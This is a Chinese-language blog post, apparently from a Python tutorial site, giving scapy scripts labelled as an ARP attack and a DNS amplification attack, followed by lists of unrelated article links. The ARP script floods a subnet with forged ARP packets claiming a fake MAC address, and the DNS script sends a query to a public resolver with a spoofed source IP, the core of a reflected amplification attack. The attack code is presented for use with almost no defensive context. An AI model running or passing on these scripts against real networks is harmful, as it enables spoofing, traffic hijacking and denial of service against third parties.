Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
详解Python中for循环的使用
Apr 14 Python
Python中的random()方法的使用介绍
May 15 Python
python创建临时文件夹的方法
Jul 06 Python
Python随手笔记第一篇(2)之初识列表和元组
Jan 23 Python
python+selenium+autoit实现文件上传功能
Aug 23 Python
Python机器学习算法之k均值聚类(k-means)
Feb 23 Python
对python同一个文件夹里面不同.py文件的交叉引用方法详解
Dec 15 Python
基于TensorFlow中自定义梯度的2种方式
Feb 04 Python
Python如何使用bokeh包和geojson数据绘制地图
Mar 21 Python
如何基于python把文字图片写入word文档
Jul 31 Python
python爬取股票最新数据并用excel绘制树状图的示例
Mar 01 Python
Python实现照片卡通化
Dec 06 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
php多文件打包下载的实例代码
2017/07/12 PHP
PHP中使用jQuery+Ajax实现分页查询多功能操作(示例讲解)
2017/09/17 PHP
PHP时间相关常用函数用法示例
2020/06/03 PHP
js几个不错的函数 $$()
2006/10/09 Javascript
一个加密JavaScript的开源工具PACKER2.0.2
2006/11/04 Javascript
JavaScript 字符串处理函数使用小结
2010/12/02 Javascript
Jquery 点击按钮显示和隐藏层的代码
2011/07/25 Javascript
Javascript变量函数浅析
2011/09/02 Javascript
node.js中的buffer.Buffer.byteLength方法使用说明
2014/12/10 Javascript
JavaScript从数组中删除指定值元素的方法
2015/03/18 Javascript
javascript表单验证大全
2015/08/12 Javascript
JQuery实现图片轮播效果
2015/09/15 Javascript
jQuery使用$.ajax提交表单完整实例
2015/12/11 Javascript
picLazyLoad 实现图片延时加载(包含背景图片)
2016/07/21 Javascript
JS中用childNodes获取子元素换行会产生一个子元素
2016/12/08 Javascript
BootStrap实现鼠标悬停下拉列表功能
2017/02/17 Javascript
bootstrap 点击空白处popover弹出框隐藏实例
2018/01/24 Javascript
关于Google发布的JavaScript代码规范你要知道哪些
2018/04/04 Javascript
让Vue也可以使用Redux的方法
2018/05/23 Javascript
使用express来代理服务的方法
2019/06/21 Javascript
python用装饰器自动注册Tornado路由详解
2017/02/14 Python
python语言中with as的用法使用详解
2018/02/23 Python
Python 加密与解密小结
2018/12/06 Python
手把手教你Python yLab的绘制折线图的画法
2019/10/23 Python
CSS3实现类似翻书效果的过渡动画的示例代码
2019/09/06 HTML / CSS
浅析CSS3 中的 transition,transform,translate之间区别和作用
2020/03/26 HTML / CSS
Lookfantastic挪威官网:英国知名美妆购物网站
2017/07/26 全球购物
trivago美国:全球最大的酒店价格比较网站
2018/01/18 全球购物
秋天的雨教学反思
2014/04/27 职场文书
自强自立美德少年事迹材料
2014/08/16 职场文书
观看禁毒宣传片后的感想
2015/08/11 职场文书
红灯733-1型14管5波段半导体收音机
2021/04/22 无线电
python实战之用emoji表情生成文字
2021/05/08 Python
Python数据分析之pandas读取数据
2021/06/02 Python
java项目构建Gradle的使用教程
2022/03/24 Java/Android
默认网关不可用修复后过一会又不好使了解决方法
2022/04/08 数码科技